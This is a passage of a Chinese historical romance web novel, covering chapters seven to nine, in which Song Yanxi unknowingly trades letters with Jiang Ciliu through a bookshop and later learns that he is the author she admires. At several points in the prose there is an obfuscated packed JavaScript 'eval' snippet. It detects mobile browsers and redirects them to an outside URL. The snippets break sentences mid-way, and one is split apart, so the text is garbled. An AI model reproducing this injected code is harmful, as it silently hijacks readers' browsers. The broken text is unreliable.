不管什么身份,但凡是来拜访爹爹的,爹爹从未将其拒之门外,为何偏偏他这般说?宋砚昔想不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922305|192607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚其中的缘由。 宋砚昔低头,腰间的玉环晶莹剔透,仿若从水里捞出来的一般,透着莹润的光。 他们之间的误会好像更深了。 宋砚昔的内心一团乱麻,她理不清自己的思绪,但是想到他幽暗深邃的眸子,不禁怀疑自己是不是真的怀疑过他。 他总归是归还了她的玉环。 云朵悄悄地遮住了日光,整片天空都暗了几分。 宋砚昔手里拿着剩下的半册《浔阳旧闻》,却没了方才的好兴致,垂头丧气地走在街上,转过街。 “阿昔回来啦。” 宋砚昔抬头,见是邻居霍大娘,扯出一个笑,“霍大娘这是要出门?” 霍大娘见宋砚昔笑得勉强,又有些无精打采的模样,不由诧异,“这是发生了什么?可是有人惹阿昔不快?” 宋砚昔摇摇头,“无事,只不过是走累了。” 霍大娘又仔仔细细打量了一下宋砚昔,见宋砚昔尚有精神,便放下心来拉她闲聊。 霍大娘是个藏不住事的性子,遇到什么事都要与旁人分享一番。宋砚昔向来懂礼貌,又有耐心,她便喜欢拉着宋砚昔闲聊。 直至说了两遍她的小孙子会唤“祖母”后,霍大娘还是觉察到宋砚昔的不对劲儿。 霍大娘猜想她今日真的累了。 霍大娘收了笑,“瞧我,光顾着说话,又耽误了阿昔好些时间,想来阿昔是累了,还是回府歇着罢。” 宋砚昔恹恹地点了头。 霍大娘心内纠结一番,忍不住追问道:“可是出了什么事?阿昔不妨说出来,若是有用得到大娘的地方,大娘定然鼎力相助。” 宋砚昔扯出一个笑,轻轻摇了摇头。 霍大娘更加确信了自己的猜想,温言道:“阿昔,有什么话不妨与大娘说。”宋砚昔丧母一年,就算县令万般疼爱她,可父亲到底不比母亲贴心。 宋砚昔见霍大娘一脸忧色地看着自己,心下感动,轻声道:“我无事的,大娘不必忧心。” 霍大娘眸子里的担忧并未消散。 她想要安慰宋砚昔,却不知从何说起,只能捡些旁的事情转移宋砚昔的注意力。 “阿昔,为何在上元日之后疏通河道?” 往年却没有大冬日疏通河道的先例。 宋砚昔醒了八分,心生警惕,脑子飞快转着,“爹爹出了远门,却不知什么时候回来,他怕自己在雨季之前赶不回来,所以才提前布局着。” 霍大娘点点头,“我便是这般想的。” 宋砚昔松了一口气。 “可我还发现了一件事。” 宋砚昔又提上一口气,眨眨眼,不动声色问:“何事?” “那日,你府上家丁出门之时,我瞧见了一个面生的俊俏郎君,杵在那里好一会。” 宋砚昔顺着霍大娘手指的方向看去。 “他便在哪里,鬼鬼祟祟的,我瞧了好几眼。阿昔你可要让府上家丁上心,这些日子也莫要乱走。要不是因为他长得甚是俊俏又瘦弱,实在不像歹人,否则我肯定会报官的。” 俊俏? 瘦弱? 宋砚昔想到什么,连忙问:“身量比我高了一个头,一袭白衣,一双丹凤眼,一幅笑模样的少年郎?” 霍大娘身子微微向后倾,瞪大双眼,“阿昔怎么知道?” 宋砚昔瞪大双眸。 原来如此! 他从头到尾都在骗她! 霍大娘说什么她依然听不清了,宋砚昔只觉得自己七窍都在生烟。 说什么她的臆想,分明是他在狡辩! 宋砚昔眼里升起熊熊怒火,恨不得将江辞流烧个干净。 她定然要戳穿他的真面目! 8. 第七章 江辞流慌乱地逃走了,若再留在那里,他怕是真撑不下去,露出破绽了。 江辞流脑子飞快地转着,宋砚昔已经识破,定然不会对他留有好印象,知县那边……他怕是也见不到。 江辞流眼底闪过一丝狠戾,若不是他年少天真,上了长平侯府那帮刁奴的当,他怎么会丢了象征长平侯府世子的玉佩! 那群人不仅夺了他的信物,更想要了他的命。若不是他福大命大,只怕已经命丧黄泉。现下他长了身量,瘦了几分,连带声音也变了才能顺利逃到平阳。可东躲西藏始终不是长远之计,他们既然下了决心要他的命,怕是会追他到天涯海角,到时候,才真的是人为刀俎我为鱼肉了。 如今之计,唯有正大光明回到长平侯府,他才能保住自己的性命。 凭什么他要过着躲躲藏藏的日子? 可是……除了宋凛,他实在想不到还有谁能帮助他回到长平侯府。 不可避免地想到了宋砚昔,江辞流有一瞬间的失神,余光却瞟到一个鬼鬼祟祟的身影。 “站住!”江辞流大步流星追了上去。 花贩子本就心怀愧疚,听到江辞流叫他,老老实实停下了脚步。 江辞流认出他,笑着打招呼:“又见到了。” 花贩子讪笑着,对上江辞流的目光又飞快地收回。 江辞流肯定他心中有鬼,心下存疑,语气依旧温和,“今日都有什么花?” 花贩子心里忐忑,见他没有找自己的麻烦,打起精神介绍道:“照旧是玉茗花,腊梅,红梅,白梅……郎君也知道,冬日便只有这些花。” 江辞流笑笑,伸手从篮子里拿了白色的玉茗。 花贩脸上露出谄媚的笑,“郎君竟这般喜欢玉茗花。” 江辞流只把玩着手上的花,根本没有听清花贩在说什么,囫囵地应了一声。 江辞流从怀中掏出铜板,递到小贩手上。 小贩心下纠结着:那日他冒昧找到宋女郎之时,看她震惊的表情便知自己说错了话。宋女郎虽然什么都没说,但他能觉察到她的不快。若是因为自己说错了哪句话,给他们二人造成了什么误会便是他的罪过了。 花贩脸上带着歉意地笑,解释道:“在下实在没有脸见郎君了。” “为何?”江辞流故作疑惑。 “都说不要郎君付钱,郎君却还是硬塞了钱给我。郎君曾说自己祖上与宋府有些渊源,想来应该认识宋女郎,我便把钱给了宋女郎,想请她代为转交,怎料宋女郎却是十分生气……” 这辞流这才明白,他道宋砚昔为何突然开了窍,原来是因为这花贩子…… 江辞流垂眸打量着花贩。花贩不过七尺身量,面圆且厚,一副肥头大耳的憨厚模样。 他精于算计,却也算不出这世间竟有如此忠厚老实之人。江辞流心下好笑,不禁感慨自己竟然会败在几文钱上。 花贩见江辞流板起了脸,心下更是惶恐。 他方要出声道歉,江辞流也张了嘴。 “在下确实是来投奔宋知县的,我们两家自京城分别已有多年,宋女郎确实已经不记得在下了。且近日知县不在,无人在宋女郎身边解惑,老板请托宋女郎一事,却是有些难为她了。” “若宋女郎得罪阁下,还望海涵。”说着,微微弯腰行了一礼。 这话却是把花贩子说晕了,连忙摆手,“哪里的话,哪里的话,宋女郎知书达理,待人和善,何曾得罪在下?在下就是怕自己多言……让你们生了误会,最后坏了事。” 确实是坏了他的事。 江辞流笑了一下。 无用无能之人才会将一切过错推脱到他人身上。 “我们二人虽有误会,却已解开。” 花贩子听见江辞流这般说,悬了多日的心终于坠了下来,欣喜道:“那便好,那便好。” 江辞流笑笑。 “既如此,这花便留给郎君赔罪罢,郎君莫要推辞。”说着将花塞到江辞流手中。 这花当真是十分新鲜,上面还凝着清晨的露水且带着淡淡地温度,想来是方从温房里摘下来的。 江辞流这次没有推辞。 花贩见江辞流没有推辞,又丢了一朵大的在他手里,笑呵呵地转了身。 “方摘下来的鲜花~” “小娘子要花吗?” “郎君买朵花罢……” 江辞流收了笑,将花贩子递来的花收进了袖袋中,转身又回了岳氏书铺。 掌柜的见江辞流又回来了,诧异道:“辞流又回来作甚?可是忘了什么东西?” 江辞流嘴角含笑,“只是有一件事要劳烦掌柜的。” 岳掌柜与江辞流相识多日,还是头一次见他有事相求。想到他给书铺带来的可观收益,岳掌柜笑意更深,“咱们这等交情,还说什么劳烦不劳烦,辞流只管说便是。” 江辞流垂首,轻声说了。 掌柜的愣在原地。 “掌柜的可知道汴京小生,逍遥客,世外人?” 岳掌柜点头如捣蒜,这三人写的话本子畅销汴京,他自然是知道的。提到这三人,岳掌柜只恨自己没有精力在汴京开书铺,否则拿到他们第一手的书稿,他早就赚得盆满钵满了。 “在下不才,与他们也算是相识,掌柜的若肯不吝帮忙,在下或可引荐你们相识……” 岳掌柜眼睛一亮。 若是与他们三人搭上线,他这生意怕是更上一层楼。 岳掌柜大脑飞快转着,这请托虽然荒唐,但谁又会与银钱过不去?岳掌柜最终还是点了头。 * 宋砚昔这几日十分焦躁,想起上次苦寻江辞流不得,她干脆又派出了宋府的家丁,结果却同江里捞玉环一般,一无所获。 宋砚昔又泄了气,随着时间的消逝,她愤怒的心情也渐渐消散。 这日,宋砚昔读完了《浔阳旧闻》,又来到了岳氏书铺,准备再淘些新书。 掌柜的见宋砚昔来了,起身相迎,热切道:“宋女郎来了。” 今日的岳掌柜分外热情。 宋砚昔不明所以地点了点头。 “本店在平阳已有多年,过了这月便满六载,为答谢乡亲父老的照顾,特备下彩头。” 宋砚昔从未听过这般说辞,来了兴致,“彩头?” 岳掌柜神秘一笑,从柜台里拿出签筒,“凡是本月在本店消费三钱银子的,都可抽签一次,宋女郎来试试手气罢。” 宋砚昔好奇地瞟了几眼签筒。 岳掌柜见宋砚昔感兴趣,伸手点了一下箱口,“请。” 这般有趣的事情,宋砚昔自然不会放过。 宋砚昔心里默念“福运到”。停手,一支签条跳了出来,宋砚昔捡起,扁粗的木棍上却是什么也没有写。 岳掌柜小心翼翼地将签筒端了下去,眼神瞟向宋砚昔,见她脸色迷茫,笑着提醒:“在另一面。” 宋砚昔还以为自己什么也没有抽中,转过木棍,上面用端正的小楷写着:“上上签。” 宋砚昔眼底闪着雀跃的光,“上上签可是中了彩头?” 岳掌柜张开嘴,脸上的皮都跟着展开了,惊喜道:“宋女郎果真好手气,上上签便是中了彩头。有这般手气,怕是进了赌场也能笑着走出来。” 宋砚昔:“……” 岳掌柜从柜台里拿出一封信,信用火漆蜡封着,封面却是未写一字。 “这是何物?” “在下早就说宋女郎与浔阳小生有缘,果真如此,否则几百个签条中,宋女郎怎能这般容易便中了呢?” 宋砚昔这才明白,彩头是浔阳小生写的一封信。 这算什么彩头? 掌柜的舌灿莲花,将这封信说得天上有地下无的,说得宋砚昔晕头转向,最后她什么也没有买,拿着那封信离开了岳氏书铺。 宋砚昔离开后,江辞流才从门后走了出来。 “在下不负所托。”掌柜的笑道。 江辞流也笑笑,“多谢。” “辞流承诺之事,还请莫要忘记。” 江辞流点点头,“那是自然。” 语毕,江辞流拢了拢自己肩上的披风——这几日宋砚昔找他找得紧,他像贼一样躲在平阳县里。若不是他擅长伪装,怕是早就被她寻了去。 宋砚昔回府之后迫不及待地拆开那封信,扑面而来一股淡淡的花香,宋砚昔用力地闻了闻。 是梅花的香味。 不知为什么,宋砚昔心底升起一丝异样,展开信,入目是端正秀丽的小楷,宋砚昔眼睛一亮。 真是一笔好字! 宋砚昔这才来了兴趣,逐字看了一遍,又感慨道:“当真是一笔好字!” 宋砚昔又看了一遍,这才知道这封信上写了什么。 “大道之下,四方皆路。行路难,世路艰。” 这不是桃花小生写的吗? 宋砚昔皱起眉,接着向下读,越读下去越是震惊,通篇的行文,无不有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922306|192607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃花小生的痕迹。 难不成浔阳小生真的是桃花小生? 眼下的证据更加确切,宋砚昔很有理由怀疑浔阳小生就是桃花小生。 原来他还没有封笔。 宋砚昔心底涌起雀跃的火花,他这般有才华,到底不该埋没了才是。 宋砚昔沉浸在发现的欣喜之中。她好像窥探到了什么秘密,一个只有她知道的秘密。 此信若给了旁人,旁人可会察觉到? 未必,那人未必都看过这两本话本子。 宋砚昔心绪久久不能平静。 既如此,她也该回信一封才是。 他写的文章伴随自己度过了最艰难的时光,她心下悄悄引他为半个知己,如今有机会,她当然不该放弃。 宋砚昔连忙走到案前。 宋砚昔略一思索便落了笔,洋洋洒洒写了三页纸,直到写到日暮,小满来敲门来她才收了笔。 翌日,天方亮她便起身去了书铺。她到了岳氏书铺,掌柜的也才开了门。 岳掌柜见宋砚昔行色匆匆,笑问:“可是出了何事,宋女郎为何如此慌张?” 宋砚昔笑笑,稳定心绪,“敢问岳掌柜可能联系到浔阳小生?” 岳掌柜挑了一下眉,“这……在下不敢欺瞒女郎,在下自然是认得浔阳小生的,此前他一直来书铺送书稿,如今《浔阳旧闻》已完稿,他自是不必再来书铺了。” 宋砚昔又道:“既如此,掌柜的手里又怎会有浔阳小生亲笔写的信?” 岳掌柜没想到宋砚昔反应这么快,思索一番才道:“这是浔阳小生最后一次交稿那日送来的。” 宋砚昔明显不信,又接着问,“既是他送来的,掌柜的早不拿出来,晚不拿出来,为何偏偏那日拿出来?” 岳掌柜被问的哑口无言,轻笑道:“女郎这话说的,可是女郎有什么事?若有事只管提出来,在下定竭力相助。” 宋砚昔也不绕弯子,直言道:“我手里有一封信,劳烦岳掌柜将这信交给桃……浔阳小生。”宋砚昔连忙改口。 岳掌柜皱起眉头,故作为难,“在下已有多日未见浔阳小生,怕是有负所托……” 宋砚昔直直地盯着岳掌柜,岳掌柜轻咳一声转了视线。 宋砚昔笑了,眉眼弯弯,方才的锐利尽消,“本就是麻烦岳掌柜的,怎敢埋怨掌柜的?我不过是求一个可能,若掌柜的实在不愿,我收回来便是。”说着作势要收回手。 岳掌柜却有些急了,“女郎哪里的话?区区小忙,在下还是能帮的,不过是害怕有负女郎,让女郎失望。” 宋砚昔摇摇头。 岳掌柜还是收了宋砚昔的信。 宋砚昔又从书铺拿了两本书才走的。 岳掌柜热切地和宋砚昔告别。 晚间,即将打烊之时,江辞流才来了岳氏书铺。 “岳掌柜。” 岳掌柜正在算账,见江辞流来了,笑着打招呼,“辞流来了。” 江辞流放下帽子,“在下托掌柜之事可有眉目?” 江辞流不得不承认,他急了。 往日他运筹帷幄,纵然是将事情放在心上,也未有过这般抓耳挠心的时刻。昨日将信递给岳掌柜之后,他的心就像是在火煎了一般,他坐不安生,站不安生,睡不安生。明知才过了一日,宋砚昔不可能这么快上钩,可他就是控制不住自己。 到底是没了招,他才变得这般。 今日若是不来岳氏书铺一探究竟,他怕是照旧睡不着。 “辞流神机妙算,宋女郎果真送了信来。” 岳掌柜将宋砚昔的信收到柜台的匣子内。 江辞流看着岳掌柜拿出一封信,声音轻颤,“真的?” 岳掌柜笑笑,“我还骗你不成?” 江辞流难掩惊喜,提高了一份音量:“多谢岳掌柜。” 看着江辞流离去的背影,岳掌柜却有些不解。不过是一封信而已,竟然能让他这般开心? 难不成里面是让他开心的东西? 想起方才信件的厚度,比江辞流给宋女郎的信厚了好些。这般厚度定然不是普通的信,且他二人又无甚交情,也不可能写这么厚的信,那还能是什么……莫不是一沓银票? 岳掌柜恍然大悟。 不然他为何那般开心? 信封里定然装着银票! 岳掌柜懊悔地跺了一下脚,早知能遇见宋女郎这样的顾客,他也去写话本子了,还开什么书铺! 9. 第八章 江辞流迫不及待地回到了自己赁的宅子中。 信很厚重,他却不知有什么值得说的要写这般多。 江辞流平日习惯沿线平整地撕开信封,今日手却抖了一下,信封沿着弧线撕裂开来,再不能用了。 展开信,内里整整三张信纸。 “展信安。” 一笔极其端庄秀丽的小楷,一看便知平时没少下功夫。 江辞流平日习惯一目十行,但看到这手字,却不由放慢了速度,流连在字里行间。 …… 大道之下,四方皆路。行路难,世路艰。 苏子瞻有诗:且并水村欹侧过,人生何处不巉岩。 世路虽多,但到底是不好走的,虽如此,也不能停止不前。心火不灭,前路便宽。 若是我,也会随袁陶一般,舍了那荣华富贵,去寻无边自由。 因你替袁陶做了选择,私将你引为半个知己。 …… 袁陶是《桃源记》主人公,最终舍了荣华富贵,追其心中所求。 江辞流双手顿在空中,眼神流连在“知己”二字之间。 过了许久他扣下信纸,深吸了一口气。 她悄悄引他为知己。 原来在他看不见的地方,她早就知晓他。 江辞流垂眸,食指轻轻摩挲在信纸边,响起若有若无的“沙沙”声。 一灯如豆。 桌上的烛火轻轻跃动着,带着小心翼翼的韵律,忽明忽暗。 江辞流凝视着那一团颤抖的焰火,自己的呼吸也融入在这明灭的节奏里。 …… 长风破浪会有时,直挂云帆济沧海。 愿你无畏,愿你自在。 顺颂时祺 过了许久,直至三更鼓声响起,江辞流才站起来。屋内只燃着一盏烛火,内里黑魆魆的。 屋内简陋,江辞流顺着记忆寻到柜子,顺手将灯盏放在衣柜之上。内里只有不过四套衣服,两双鞋。江辞流拿出他的包袱。 江辞流将那封信放了进去,烛火忽明忽暗,映照一地残影。明灭间,却折射出五彩的金光,正对着包袱露出的一小片布料上,上面还绣着细密又白净的兔毛。 * 宋砚昔再去岳氏书铺已经是十日后。 “宋女郎,许久未见。”岳掌柜照旧十分热情地打了招呼。 宋砚昔笑笑,“近些天有旁的事情要忙。” 打过招呼,宋砚昔又逛了逛,照旧淘到两本书,岳掌柜又走了过来。 “宋女郎。” “岳掌柜有何事?” “这是要转交给女郎的。”掌柜的拿出一封信来。 宋砚昔低头,照旧是一封用火漆蜡封着的信,信封上照旧什么都没有写。 宋砚昔知道这信是谁给的,却是不解:“怎的还有信?” 岳掌柜也摸不清头脑,但他只是办事的人,没有窥探顾客隐私的权利,答非所问,“这是浔阳小生五日前送来的。” 宋砚昔更摸不着头脑。 二人不算相熟,甚至不认识,这样三番两次写信,倒显得他们交情甚笃。 难不成,他也引她为知己? 宋砚昔笑着接过,“如此便劳烦岳掌柜了。” 岳掌柜摇摇头,“小事而已,不足挂齿。” 宋砚昔离去后,掌柜的这才想起来,好像有许久没有见到江辞流了。 往日他三天两头往书铺跑,隔了五日倒显得不寻常了。 掌柜的摇摇头,走到柜台后面翻看借阅记录。岳氏祖训,无论贫穷富贵,都要抽些银钱来接济穷人。他一毛不拔却又不想违背祖训,只好将书免费借给旁人,期限一月。岳掌柜正翻着记录,却看见了江辞流的名字。 岳掌柜这才想起来他借出了一幅帖子。 那可是名家真迹啊! 江辞流不来,莫不是因为他不想还这帖子了? 想到这里,岳掌柜急了起来,那可是孤品,很值钱的!他说什么也要追讨回来。可他又不知江辞流在何处…… 除非找到他的熟人…… 岳掌柜拍了一下自己的大腿,是了,他还知道一个人,想来与江辞流熟识,托她找江辞流再合适不过了。 * 宋砚昔回府后迫不及待地打开了那封信。薄薄一层,与她的一厚沓形成鲜明的对比。 展开,又闻到了一股淡淡的梅花香。 “愿岁并谢,与长友兮。” 信上只有寥寥的几个字。 宋砚昔却笑了起来。 她引他为知己不过是她的一厢情愿,却没想到他这般贴心,礼貌地应了下来。 宋砚昔抬手轻轻抚过那几个字。 这般为人着想的人,应该是个极好的人。 宋砚昔将这封信与前几日收来的信收到一起。 * 且说江辞流,那日回去之后便辗转坐立难安,天降了温,他又害了风寒。缠绵病榻多日,苦不堪言,直至五日后才有转好的迹象。那日他脑子照旧晕晕沉沉,所幸还算清明,连忙回了一封信到岳氏书铺。 离开的时候,江辞流又觉察到有人跟着自己,他不动声色地引着那群人去了另一个地方,那群人却不上当。江辞流这才发现追他的人根本就不是宋家小厮。 江辞流彻底清醒了,长平侯府的人,到底是找了来。 一年多前,他带着他全部家当从浔阳出发北上京城,本以为他就此可以认祖归宗,逃离这一路的颠沛流离,却没想到等待他的是另一个虎狼窝。 老长平侯多年前便已经仙逝,如今的长平侯,是长平侯的胞弟。世人皆知,老长平侯的小世子在绍圣元年便被人牙子拐走了,老长平侯一病不起,这才早逝。 老长平侯为了找到自己的小世子,广发悬赏,若有人找到小世子,赏金百两。此话一出,长平侯府门前宾客不绝,众人为了钱财,将自己家的孩子送来,妄图领赏。 这等拙劣的伎俩又把老长平侯气病几分,老侯爷无奈,告诉众人小世子身上带着象征自己身份的玉佩,身上还有专属的胎记。 长平侯府才算又恢复了安静。 小世子丢后,老长平侯又得了两女,而后身子骨彻底废了,再生不出儿子来了。圣上怜悯老长平侯,为了让长平侯府延续下去,特许长平侯胞弟袭爵。 老长平侯临死之前最大的心愿便是找到自己的小世子,新继任的长平侯哭着许诺他一定会为他找到小世子,此生都不放弃,且找到之后便将长平侯之位让出来。 老侯爷听到这话后才闭了眼。 是以这两年长平侯府门前又恢复了昔日的盛况,每天都有一两个人来侯府认亲。 江辞流便是其中的一个。 江辞流已经进了侯府,又将手上的玉佩交了出去,他本以为等待他的是认祖归宗,可他等到的只有无尽的追杀。 若不是江辞流机敏,恐怕他早已命丧黄泉了。 江辞流不动声色地将追跟随他的人引到一处暗巷中,那人果真上当了。 乱巷之内,江辞流忍着剧痛将人暴打一桶,只肯给他留一口气。 临了,江辞流似是不解气一般,抬脚踹向那人的脸。 “无耻之徒!” 江辞流知道长平侯府的人马很快便会到,若是他得不到宋凛的帮助,他就要尽快地离开平阳县。从京城一路追到平阳县,江辞流知道他们不会轻放弃。 他们要的是他的命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我已经说过一遍了,为何还要再让我说一遍?”江辞流不由抬高音量。 江辞流语气不善,瞬间勾起宋砚昔的怒火,“我也不过是好心询问,你作何要这般态度!” 江辞流瞥都未瞥她一眼,抬脚便要走。 宋砚昔见他这么无视自己,心生不满追了上去,“你这人怎的这般不懂礼貌?” “你懂礼貌你在街上追着不认识的郎君走。” 宋砚昔瞪大双眼,他这是什么态度? “我从未见过你这般无礼之人。”宋砚昔骂道。 “你现下见过了,也算是开眼了不是吗?” 宋砚昔直接愣在原地。 他果真懂得如何挑动她的情绪。 “无耻之徒!” 这条小巷少有店铺,路上没有旁人,回音如海浪一般,一波一波涌向江辞流。 江辞流只当没有听到,继续向前走着。 他快要撑不住了,他若是不走,定会让宋砚昔看出破绽的。 宋砚昔见江辞流不理自己,深吸一口气,“被我戳穿了装不下去了就要逃走吗?” “你这个只懂逃避,满口谎话的懦夫!” 听到这话,江辞流总算顿住了身形。 “你除了骗人还会做什么?” “你可知道礼义廉耻?” “你这种满嘴谎言的骗子,可知晓何为真情?” “你只知道权衡利益,以小人之心度君子之腹!” 宋砚昔怒火中烧,直接将酝酿好久的话骂了出来。 她用了全身的力气,双手攥拳,身子止不住地发抖,重重地喘着粗气。 回应她的却是漫无边际的沉默。 过了许久,江辞流才张了嘴:“你真是,慧眼如炬啊。” 随后抬脚走了,连头都未回一下。 江辞流语气冷淡,这话从他嘴里出来分明就是嘲讽! 她虽然将话骂出了口,怒气却一点没消散,反而更多了。 看着江辞流瘦削的背影,宋砚昔又跺了两下脚。 10. 第九章 宋砚昔揣着一肚子闷气走出小巷,转过街口才想起自己又被江辞流带偏了。她原本想和他对峙,见到他却将什么都忘了。每一次吵架都是她败下阵来,偏他一走,她立刻又想了起来。 真可恨啊。 拐了一条街又路过岳氏书铺。 宋砚昔没想去岳氏书铺,但是掌柜的却将她拦了下来。 “宋女郎,宋女郎。” 宋砚昔回头,见是岳掌柜,问道:“岳掌柜有何事?” “在下有事想托宋女郎。” “何事?岳掌柜但说无妨。” “在下寻辞流不到,不知女郎可见过他?” “辞流?是谁?”宋砚昔皱起眉,她不记得自己认识这个人。 这下轮到岳掌柜不懂了,“江辞流,宋女郎应当是认识的。” 宋砚昔摇摇头,“岳掌柜怕是记错了罢,我不认识江辞流。” “此前你来买《浔阳旧闻》的时候,他跟了过去,而后他离开,你又匆匆地追了出去。”虽然他不知道他们两人之间的渊源,但是他们两人每到书铺都有交谈,若是说他俩人不认识,他是一万个不信的。 宋砚昔这才知道岳掌柜说的是谁。 原来他叫江辞流。 宋砚昔冷哼一声,她才将他骂走。 岳掌柜见宋砚昔豁然开朗的表情,笑道:“女郎可是记起来了?” 宋砚昔却摇摇头,“我确实认识江辞流,但是这个忙恐怕是帮不了岳掌柜,我与他并不相熟,并不知去何处寻他。” 岳掌柜却对这个回应不满,“他借出去的帖子可是孤本,眼看到了归还的日子他还不见踪迹,我也只好求到宋女郎这里来了。” 宋砚昔瞪大双眼,“这与我有何相干?” “你二人关系定然不简单,怎可能见不到他?” 宋砚昔轻笑出声,“我二人能有什么关系,岳掌柜还是将话说清楚。”这话岂不是在毁她的名声。 岳掌柜这才意识到自己失言了,连忙拱手,“在下不是这个意思,这就给女郎赔个不是,望女郎多担待。” 宋砚昔不在乎地摇了摇头,“岳掌柜有什么话不妨直说,只是我也不是个好性的,谁的忙都会帮。” 岳掌柜讪笑,生怕自己不小心得罪宋砚昔,连忙陪笑,“是在下失言,这些年多亏乡里乡亲以及宋女郎的照拂小店生意才能这么红火。在下只是心急,才口不择言。哎,那可是家父传下来的孤品,若是丢了,便是我的罪过了。” 岳掌柜说到孤品时,倒是有几分情真意切。 “是在下想多了,本以为他愿意将自己的真实身份告诉宋女郎,定然是与宋女郎有非凡的交情。” 宋砚昔听到岳掌柜这番情深意切的话心下已动摇,但听他话锋一转,她瞬时说愣住,“什么真实身份?” 岳掌柜故作诧异,“女郎不知?” 宋砚昔有些好笑,“我该知道的是什么呢?” “辞流便是浔阳小生,他在信上没有和你说这件事?”岳掌柜张着大嘴问道。 宋砚昔的脑子“嘭”的一下炸开了。 什么? 浔阳小生是江辞流? 江辞流是浔阳小生? 可她认识的江辞流分明是一个无赖呀! 宋砚昔瞪大双眼,不可置信地看向岳掌柜,似是在等他的解释。 岳掌柜这才“意识到”自己多言了,“原来辞流在信中没有将这件事告诉宋女郎吗?那岂不是……”岳掌柜垂下头,拍了一下自己的大腿,一脸懊悔,“那岂不是在下多言了?” “你说什么,浔阳小生是江辞流?” 岳掌柜欲言又止,缓慢地点了点头。 宋砚昔不肯相信,又问:“是那个高高瘦瘦,约莫比我高一个头,”宋砚昔比划着,“总爱穿着白袍,身型瘦削的郎君?” 岳掌柜用力地点了点头。 宋砚昔向后退了一步。 她方才骂的人是江辞流。 那个抛弃功名利禄只求自在的执笔者。 那个她引以为知己的人。 她方才说了什么? 他只知道权衡利益,以小人之心度君子之腹。 …… 宋砚昔脑子里很乱,“岳掌柜,我先告辞。” “此事到底是我不对,宋女郎若是见了辞流,定要告知我他在何处,我亲自向他赔罪去。” 宋砚昔已经听不清岳掌柜在说什么了,囫囵地点了点头离去了。 岳掌柜皱着的眉头总算舒展开了,他自己寻不到,那便让旁人去帮他寻,这样一来,他既寻到了人,又不必欠人人情。 真是一箭双雕啊。 宋砚昔浑浑噩噩地回到了宋府,第一件事便是拿出了那个匣子。 宋砚昔又读了一遍浔阳小生写给她的信。 不是浔阳小生,是江辞流。 不,浔阳小生和江辞流是一个人。 “愿岁并谢,与长友兮。” 他将自己骗得团团转。 她将他骂得狗血淋头。 宋砚昔右手食指来回摩挲着这几个字。 他笔下的人不追求名利,可他自己却是一个只臣服在名利之下的骗子? 宋砚昔双手按在头上,她的脑子要炸开了。 “女郎。” 宋砚昔听到声音回头。 小满蹦蹦跳跳跑了过来,脸上还挂着笑,“有一个好消息告诉女郎,女郎猜猜是什么。” “是什么……”宋砚昔重复着小满的话。 小满收了笑,向前走了两步,疑惑道:“女郎怎么了,怎的这般无精打采?”小满见宋砚昔的脸色不好,伸出手在她的额头前探了探。 “不热啊。” 宋砚昔摇摇头,“我无事。” “怎的可能无事?发生什么事了,女郎怎么不告诉我?” 宋砚昔摇摇头,她现在连说话的力气都没了。 小满见宋砚昔神色恹恹,安慰道:“县令已经启程,不日便回来了。” 宋砚昔听到这话眼睛终于亮了,声音终于起了波澜,“真的吗?” 小满也是一脸笑意,点头如捣蒜,“真的,现下已经过了江宁。县令这次出去这么久,想来也想女郎想得紧,快马加鞭不过两日便能到了。” 宋砚昔方才还十分生气,骤然听到宋知县要回来,心中的委屈仿佛决堤一般,终是没忍住,落了泪。 “女郎这是怎么了?”小满慌了手脚。 宋砚昔扯出了一个笑,“无事的,只是听到爹爹要回来,心里开心罢了。” 小满最懂宋砚昔,她平日最是要强,若非受了极大的委屈,断然是不肯哭的。 “女郎有心事不如说出来。”难不成张县尉请来的媒人惹怒了女郎? 宋砚昔轻轻擦干泪,又笑了一下,“无论如何,爹爹要回来了。” 她什么也不怕了。 * 和宋砚昔在街上纠缠许久,江辞流的病情更严重了,方抓的药丢了他都没有发现。无奈之下,江辞流第二日又出了门。 想到昨日被宋砚昔发现了,江辞流今日披了大氅才出了门。 “江辞流!” 江辞流方从医馆出来,又听到了熟悉的声音。 江辞流抬脚便走。 宋砚昔立刻追了上去。 病了的江辞流连走路都比平时慢了几分,宋砚昔不过走了两步便追上了他。 “你走什么走?” 江辞流抠着自己的指甲,打起精神,“女郎总纠缠在下作甚?” 鼻音却出卖了他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922308|192607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你病了?”宋砚昔惊诧道。 “与你无关。”说着转了身。 一句话又成功点燃宋砚昔。 